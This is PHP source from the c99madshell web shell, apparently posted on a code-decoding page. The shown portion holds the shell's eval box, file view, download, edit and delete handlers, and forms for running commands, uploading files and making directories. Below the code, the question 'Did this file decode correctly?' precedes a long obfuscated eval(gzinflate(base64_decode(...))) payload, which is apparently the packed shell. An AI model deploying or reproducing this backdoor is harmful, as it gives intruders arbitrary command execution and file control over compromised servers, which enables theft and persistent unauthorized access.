 echo "<form method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"122\" rows=\"10\">".@htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>";
}
if ($act == "f")
{
 if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit")
 {
  if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";}
  else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.f.value='".urlencode($f)."';document.todo.ft.value='edit';document.todo.c.value='1';document.todo.d.value='".urlencode($d)."';document.todo.submit();\"><u>Create</u></a></center>";}
 }
 else
 {
	$arr = array(
   array("HTML","html"),
   array("TXT","txt"),
   array("CODE","code"),
   array("DOWNLOAD","download"),
   array("EDIT","edit"),
   array("DELETE","delete")
  );
  $r = @file_get_contents($d.$f);
  echo "<b>Viewing file:&nbsp;&nbsp;&nbsp;".$f." (".view_size(@filesize($d.$f)).") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".view_perms_color($d.$f)."</b><br>";
  foreach($arr as $t)
  {
echo " <a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.f.value='".urlencode($f)."';document.todo.ft.value='".$t[1]."';document.todo.d.value='".urlencode($d)."';document.todo.submit();\"><b>".$t[0]."</b></a>";
   echo " |";
  }
  echo "<hr size=\"1\" noshade>";
 if ($ft == "download")
  {
   @ob_clean();
   header("Content-type: application/octet-stream");
   header("Content-length: ".filesize($d.$f));
   header("Content-disposition: attachment; filename=\"".$f."\";");
   echo($r);
   c99shexit();
  } elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";} elseif ($ft == "html")
  {
   if ($white) {@ob_clean();}
   echo $r;
   if ($white) {c99shexit();}
  } elseif ($ft == "code") {
   echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">";
   if (!empty($white)) {@ob_clean();}
   highlight_file($d.$f);
   if (!empty($white)) {c99shexit();}
   echo "</div>";
  } elseif($ft== 'delete') {
	  if(!fs_rmobj($d.$f)){
		  echo('<font color="red">Delete error</font>');
	  } else {
		  echo('<font color="green">Delete succes</font>');
	  }
} elseif ($ft == "edit") {
	if (!empty($submit)) {
		if(save_file($d.$f, $edit_text)) {
			echo('<b>Saved!</b>');
		} else {
			echo('<b>Can\'t write to file!</b>');
		}
		$r = $edit_text;
   }
   echo "<form method=\"POST\"><input name='act' type='hidden' value='f'><input name='f' type='hidden' value='".urlencode($f)."'><input name='ft' type='hidden' value='edit'><input name='d' type='hidden' value='".urlencode($d)."'><input type=submit name=submit value=\"Save\">&nbsp;<input type=\"reset\" value=\"Reset\">&nbsp;<input type=\"button\" onclick=\"document.todo.act.value='ls';document.todo.d.value='".addslashes(substr($d,0,-1))."';document.todo.submit();\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"180\" rows=\"25\">".htmlspecialchars($r)."</textarea></form>";
  }
 }
}
?>
</td></tr></table><a bookmark="minipanel"><br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1>
<tr><td width="100%" height="1" valign="top" colspan="2"><p align="center"><b>:: Command execute ::</b></p></td></tr>
<tr><td width="50%" height="1" valign="top"><center><b>:: Enter ::</b><form method="POST"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="cmd" size="50" value=""><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td><td width="50%" height="1" valign="top"><center><b>:: Select ::</b><form method="POST"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><select name="cmd"><?php foreach ($cmdaliases as $als) {echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";} ?></select><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td></tr></TABLE>
<br>
<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1>
<tr>
 <td width="50%" height="1" valign="top"><center><b>:: Search ::</b><form method="POST"><input type=hidden name=act value="search"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="search_name" size="29" value="(.*)">&nbsp;<input type="checkbox" name="search_name_regexp" value="1"  checked> - regexp&nbsp;<input type=submit name=submit value="Search"></form></center></p></td>
 <td width="50%" height="1" valign="top"><center><b>:: Upload ::</b><form method="POST" name="tod" ENCTYPE="multipart/form-data"><input type=hidden name=act value="upload"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="file" name="uploadfile"><input type=submit name=submit value="Upload"><br><?php echo $wdt; ?></form></center></td>
</tr>
</table>
<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Make Dir ::</b><form method="POST"><input type=hidden name=act value="mkdir"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkdir" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Make File ::</b><form method="POST"><input type=hidden name=act value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkfile" size="50" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td></tr></table>
<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Go Dir ::</b><form method="POST"><input type=hidden name=act value="ls"><input type="text" name="d" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Go File ::</b><form method="POST""><input type=hidden name=act value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="f" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td></tr></table>
<br><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="990" height="1" valign="top"><p align="center"><b>--[ c99madshell v. <?php echo $shver; ?><a href="#" OnClick="document.todo.act.value='about';document.todo.submit();"><u> EDITED BY </b><b>MADNET, k1b0rg</u></b> </a> ]--</b></p></td></tr></table>
</body></html><?php chdir($lastdir); c99shexit(); ?>

Did this file decode correctly?

Original Code

eval(gzinflate(base64_decode('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